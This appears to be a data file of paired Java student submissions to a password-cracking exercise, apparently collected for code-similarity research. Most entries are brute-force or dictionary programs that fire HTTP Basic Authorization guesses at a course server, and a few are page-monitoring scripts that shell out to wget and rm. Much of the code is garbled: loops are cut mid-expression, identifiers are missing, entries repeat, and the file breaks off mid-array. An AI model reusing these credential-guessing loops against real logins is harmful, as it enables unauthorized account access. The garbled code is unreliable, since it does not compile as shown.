k1+""""; c3 = c.concat(c1); c4 = c3.concat(c2); }else break; } flag = false; return c4; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty (""Authorization"", PasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String PasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 086.java,"import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; int attempts = 0; exit: for (int i=0;i= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",155.java,"import java.io.*; import java.net.*; public class Dictionary{ public static void main( String[] args ){ Dictionary dict= new Dictionary(); dict.create(); } public void dsf(){ String password; String auth_data; String username=""""; String server_res_code; String required_server_res_code=""200""; int cntr=0; try{ URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection conn=null; String fileName = ""/usr/share/lib/dict/words""; fileName=fileName.trim(); FileReader fr = new FileReader(fileName); BufferedReader inputfile = new BufferedReader(fr); while( (password=inputfile.readLine()) != null ){ password = password.trim(); auth_data=null; auth_data=username + "":"" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1""); conn.setRequestProperty (""Authorization"", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; if( server_res_code.compareTo(required_server_res_code)!=0) System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code); else { System.out.println(cntr + "" . "" + ""PASSWORD IS: "" + password + "" SERVER RESPONSE : "" + server_res_code); break;} } } catch( Exception e){ System.err.println(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = """"; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return "" "" + encodedString; } }" 086.java,"import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; int attempts = 0; exit: for (int i=0;i= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",087.java,"import java.net.*; import java.io.*; import java.*; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; File file = new File(""words""); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println(""Crrect password is: "" + inp[2]); System.out.println(""Number of attempts = "" + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println(""File not found: "" + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 086.java,"import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; int attempts = 0; exit: for (int i=0;i= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",222.java," import java.net.*; import java.io.*; public class Base64Encoder { private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 111.java," import java.io.BufferedReader; import java.io.FileReader; import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.UsernamePasswordCredentials; import org.apache.commons.httpclient.cookie.CookiePolicy; import org.apache.commons.httpclient.methods.GetMethod; public class Dictionary{ static final String LOGON_SITE_HACKER = DictionaryPropertyHelper.getProperty(""logonSite""); static final int LOGON_PORT_HACKER = Integer.valueOf(DictionaryPropertyHelper.getProperty(""logonPort"")).intValue(); static final String cad = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklumnopqrstuvwxyz""; static final int USE_PROXY_SERVER = Integer.valueOf(DictionaryPropertyHelper.getProperty(""useProxyServer"")).intValue(); static final int PROXY_PORT = Integer.valueOf(DictionaryPropertyHelper.getProperty(""proxyPort"")).intValue(); static final String PROXY_SERVER = DictionaryPropertyHelper.getProperty(""proxyServer""); static final String PROXY_USENAME = DictionaryPropertyHelper.getProperty(""proxyUserName""); static final String PROXY_PASSWORD = DictionaryPropertyHelper.getProperty(""proxypassword""); static final String GET_METHOD_HACKER = DictionaryPropertyHelper.getProperty(""getMethod""); static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(DictionaryPropertyHelper.getProperty(""numberOfGetsBeforeReleaseConnection"")).intValue(); public Dictionary() { super(); } public static void main(String[] args) throws Exception { String statusLine = "" ""; int count = 0; int divValue = 0; String userName = """"; String password = """"; HttpClient client = new HttpClient(); if (USE_PROXY_SERVER == 1) { client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT); client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD)); } client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY); client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, ""http""); GetMethod getMethod = new GetMethod(GET_METHOD_HACKER); BufferedReader wordFile = new BufferedReader(new FileReader(DictionaryPropertyHelper.getProperty(""dictionaryFile""))); while ((password = wordFile.readLine()) != null) { if (validateWord(password)) { client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); ++count; System.out.println("" Counter "" + count + "" Password "" + password); divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; if (divValue == 0) { System.out.println(""Count: ""+ count + "" Div Value: ""+ divValue+ "" Releasing the connection and getting new one""); getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); } client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); System.exit(0); } } } System.out.println(""Could not find the password!""); } public static boolean validateWord(String str) { boolean isValid = false; if (str.length() > 3) { return isValid; } for (int i = 0; i < str.length(); i++) { for (int j = 0; j < cad.length(); j++) { if (str.charAt(i) == cad.charAt(j)) { isValid = true; break; } else isValid = false; } if (!isValid) break; } return isValid; } } ",106.java," import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.UsernamePasswordCredentials; import org.apache.commons.httpclient.cookie.CookiePolicy; import org.apache.commons.httpclient.methods.GetMethod; public class BruteForce{ static final String LOGON_SITE_HACKER = BruteForcePropertyHelper.getProperty(""logonSite""); static final int LOGON_PORT_HACKER = Integer.valueOf(BruteForcePropertyHelper.getProperty(""logonPort"")).intValue(); static final int USE_PROXY_SERVER = Integer.valueOf(BruteForcePropertyHelper.getProperty(""useProxyServer"")).intValue(); static final int PROXY_PORT = Integer.valueOf(BruteForcePropertyHelper.getProperty(""proxyPort"")).intValue(); static final String PROXY_SERVER = BruteForcePropertyHelper.getProperty(""proxyServer""); static final String PROXY_USENAME = BruteForcePropertyHelper.getProperty(""proxyUserName""); static final String PROXY_PASSWORD = BruteForcePropertyHelper.getProperty(""proxypassword""); static final String GET_METHOD_HACKER = BruteForcePropertyHelper.getProperty(""getMethod""); static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(BruteForcePropertyHelper.getProperty(""numberOfGetsBeforeReleaseConnection"")).intValue(); static final String[] cValidChars = {""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z""}; public BruteForce() { super(); } public static void main (String[] args) throws Exception { String statusLine = "" ""; int count = 0; int firstLetterIndex = 0; int secondLetterIndex = 0; int thirdLetterIndex = 0; int divValue = 0; String userName = """"; String password = """"; HttpClient client = new HttpClient(); if (USE_PROXY_SERVER == 1) { client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT); client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD)); } client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY); client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, ""http""); GetMethod getMethod = new GetMethod(GET_METHOD_HACKER); count = 0; for (int f = 0; f < 52; f++) { firstLetterIndex = f; password = cValidChars[firstLetterIndex]; System.out.println(""Count: ""+ count + "" First Index: ""+ firstLetterIndex+ "" password: ""+ password); client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); System.exit(0); } } count = 0; for (int g = 0; g < 52; g++) { firstLetterIndex = g; for (int h = 0; h < 52; h++) { secondLetterIndex = h; password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]; System.out.println(""Count: ""+ count+ "" First Index: ""+ firstLetterIndex+ "" Second Index: ""+ secondLetterIndex+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ "" password: ""+ password); client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); ++count; divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; if (divValue == 0) { System.out.println(""Count: ""+ count+ "" Div Value: ""+ divValue + "" Releasing the connection and getting new one""); getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); } client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); System.exit(0); } } } getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); count = 0; for (int i = 0; i < 52; i++) { firstLetterIndex = i; for (int j = 0; j < 52; j++) { secondLetterIndex = j; for (int k = 0; k < 52; k++) { thirdLetterIndex = k; password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]; System.out.println(""Count: ""+ count+ "" First Index: ""+ firstLetterIndex+ "" Second Index: ""+ secondLetterIndex+ "" Third Index: ""+ thirdLetterIndex+ "" ""+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ "" password: ""+ password); client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); ++count; divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; if (divValue == 0) { System.out.println(""Count: ""+ count+ "" Div Value: ""+ divValue+ "" Releasing the connection and getting new one""); getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); } client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); System.exit(0); } } } } } } " 232.java,"import java.util.*; import java.io.*; import java.*; public class WatchDog { public static void main (String [] args) throws Exception { executes(""rm index.*""); executes(""wget http://www.cs.rmit.edu./students""); while (true) { String addr= ""wget http://www.cs.rmit.edu./students""; executes(addr); String hash1 = md5sum(""index.html""); String hash2 = md5sum(""index.html.1""); System.out.println(hash1 +""|""+ hash2); if (hash1.equals(hash2)) { } else { executes("".~/Assign2/difference.sh""); executes("".~/Assign2/mail1.sh""); } executes(""rm index.html""); executes(""cp index.html.1 index.html""); executes(""rm index.html.1""); executes(""sleep 86400""); } } public static void executes(String comm) throws Exception { Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", comm }); BufferedReader = new BufferedReader(new InputStreamReader(p.getErrorStream())); String s; while(( s = bf.readLine()) != null) { System.out.println(); } p.waitFor(); } public static String md5sum(String file) throws Exception { String s; String hash= "" ""; Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"", ""-c"", ""md5sum ""+file }); BufferedReader b = new BufferedReader(new InputStreamReader(p.getInputStream())); while((b = bf.readLine()) != null) { StringTokenizer word=new StringTokenizer(); hash=word.nextToken(); System.out.println(hash); } return hash; } } ",233.java,"import java.util.*; import java.io.*; import java.*; public class Dogs5 { public static void main(String [] args) throws Exception { executes(""rm index.*""); executes(""wget http://www.cs.rmit.edu./students""); while (true) { String addr= ""wget http://www.cs.rmit.edu./students""; executes(addr); String hash1 = md5sum(""index.html""); String hash2 = md5sum(""index.html.1""); System.out.println(hash1 +""|""+ hash2); BufferedReader buf = new BufferedReader(new FileReader(""/home/k//Assign2/ulist1.txt"")); String line="" "" ; String line1="" "" ; String line2="" ""; String line3="" ""; String[] cad = new String[10]; executes(""./.sh""); int i=0; while ((line = buf.readLine()) != null) { line1=""http://www.cs.rmit.edu./students/images""+line; if (i==1) line2=""http://www.cs.rmit.edu./students/images""+line; if (i==2) line3=""http://www.cs.rmit.edu./students/images""+line; i++; } System.out.println(line1+"" ""+line2+"" ""+line3); executes(""wget ""+line1); executes(""wget ""+line2); executes(""wget ""+line3); String hash3 = md5sum(""index.html.2""); String hash4 = md5sum(""index.html.3""); String hash5 = md5sum(""index.html.4""); BufferedReader buf2 = new BufferedReader(new FileReader(""/home/k//Assign2/ulist1.txt"")); String linee="" "" ; String linee1="" "" ; String linee2="" ""; String linee3="" ""; executes(""./ip1.sh""); int j=0; while ((linee = buf2.readLine()) != null) { linee1=""http://www.cs.rmit.edu./students/images""+linee; if (j==1) linee2=""http://www.cs.rmit.edu./students/images""+linee; if (j==2) linee3=""http://www.cs.rmit.edu./students/images""+linee; j++; } System.out.println(line1+"" ""+line2+"" ""+line3); executes(""wget ""+linee1); executes(""wget ""+linee2); executes(""wget ""+linee3); String hash6 = md5sum(""index.html.5""); String hash7 = md5sum(""index.html.6""); String hash8 = md5sum(""index.html.7""); boolean pict=false; if (hash3.equals(hash6)) pict=true; boolean pict2=false; if (hash3.equals(hash6)) pict2=true; boolean pict3=false; if (hash3.equals(hash6)) pict3=true; if (hash1.equals(hash2)) { executes(""./difference.sh""); executes(""./mail.sh""); } else { if (pict || pict2 || pict3) { executes("".~/Assign2/difference.sh""); executes("".~/Assign2/mail2.sh""); } executes("".~/Assign2/difference.sh""); executes("".~/Assign2/mail.sh""); executes(""./reorder.sh""); executes(""rm index.html""); executes(""cp index.html.1 index.html""); executes(""rm index.html.1""); executes(""sleep 5""); } } } public static void executes(String comm) throws Exception { Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", comm }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream())); String cad; while(( cad = bf.readLine()) != null) { System.out.println(); } p.waitFor(); } public static String md5sum(String file) throws Exception { String cad; String hash= "" ""; Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"", ""-c"", ""md5sum ""+file }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream())); while((bf = cad.readLine()) != null) { StringTokenizer word=new StringTokenizer(); hash=word.nextToken(); System.out.println(hash); } return hash; } } " 133.java," import java.net.*; import java.io.*; public class Dictionary { private String myUsername = """"; private String myPassword = """"; private String urlToCrack = ""http://sec-crack.cs.rmit.edu./SEC/2""; public static void main (String args[]) { Dictionary d = new Dictionary(); } public Dictionary() { generatePassword(); } public void generatePassword() { try { BufferedReader = new BufferedReader(new FileReader(""/usr/share/lib/dict/words"")); { myPassword = bf.readLine(); crackPassword(myPassword); } while (myPassword != null); } catch(IOException e) { } } public void crackPassword(String passwordToCrack) { String data, dataToEncode, encodedData; try { URL url = new URL (urlToCrack); dataToEncode = myUsername + "":"" + passwordToCrack; encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes()); URLConnection urlCon = url.openConnection(); urlCon.setRequestProperty (""Authorization"", "" "" + encodedData); InputStream is = (InputStream)urlCon.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader bf = new BufferedReader (isr); { data = bf.readLine(); System.out.println(data); displayPassword(passwordToCrack); } while (data != null); } catch (IOException e) { } } public void displayPassword(String foundPassword) { System.out.println(""\nThe cracked password is : "" + foundPassword); System.exit(0); } } ",131.java," import java.io.*; import java.net.*; public class BruteForce { private String myUsername = """"; private String urlToCrack = ""http://sec-crack.cs.rmit.edu./SEC/2""; private int NUM_CHARS = 52; public static void main(String args[]) { BruteForce bf = new BruteForce(); } public BruteForce() { generatePassword(); } public void generatePassword() { int index1 = 0, index2, index3; char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; while(index1 < NUM_CHARS) { index2 = 0; while(index2 < NUM_CHARS) { index3 = 0; while(index3 < NUM_CHARS) { crackPassword(new String("""" + passwordChars[index1] + passwordChars[index2] + passwordChars[index3])); index3++; } index2++; } index1++; } } public void crackPassword(String passwordToCrack) { String data, dataToEncode, encodedData; try { URL url = new URL (urlToCrack); dataToEncode = myUsername + "":"" + passwordToCrack; encodedData = new url.misc.BASE64Encoder().encode(dataToEncode.getBytes()); URLConnection urlCon = url.openConnection(); urlCon.setRequestProperty(""Authorization"", "" "" + encodedData); InputStream is = (InputStream)urlCon.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader bf = new BufferedReader(isr); { data = bf.readLine(); System.out.println(data); displayPassword(passwordToCrack); } while (data != null); } catch (IOException e) { } } public void displayPassword(String foundPassword) { System.out.println(""\nThe cracked password is : "" + foundPassword); System.exit(0); } } " 211.java," import java.io.*; import java.net.*; public class BruteForce { public static void main(String args[]) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); int flag=1; String[] letter = {""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"", ""O"",""P"",""Q"",""R"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z"",""a"",""b"",""c"", ""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"", ""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",""""}; String urlString = new String(""http://sec-crack.cs.rmit.edu./SEC/2/""); String thePassword= new String(); stime = System.currentTimeMillis(); System.out.println(""""); for(int i=0; i""+ letter[j]+"" elapsed""); } if(flag==0) break; else System.out.println(""letter i ->""+ letter[i]+"" elapsed""); } System.out.println(""content is ""+ sw.toString()); } }",216.java," import java.io.*; import java.net.*; import java.util.*; import java.*; public class Dictionary { public static void main(String args[]) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); int flag=1; String filename = ""words""; try { String urlString = new String(""http://sec-crack.cs.rmit.edu./SEC/2/""); String thePassword= new String(); BufferedReader inputStream= new BufferedReader(new FileReader(filename)); String line=inputStream.readLine(); stime = System.currentTimeMillis(); while (line!= null && flag==1) { try { URL url = new URL (urlString); String userPassword = """" + "":"" + line; String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty(""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getContent(); endtime = System.currentTimeMillis(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line2; while ((line2 = in.readLine()) != null) { pw.println (line2); } flag=0; System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds.""); }catch (MalformedURLException e) { flag=1; }catch (IOException e) { flag=1; } line=inputStream.readLine(); } inputStream.close(); } catch(FileNotFoundException e) { System.err.println(""File ""+filename+"" was not found""); } catch(IOException e) { System.err.println(""Error ""); } System.out.println(""content is ""+ sw.toString()); } }" 051.java,"import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class Dictionary { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } ",257.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class BruteForce { public final char [ ] letter = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 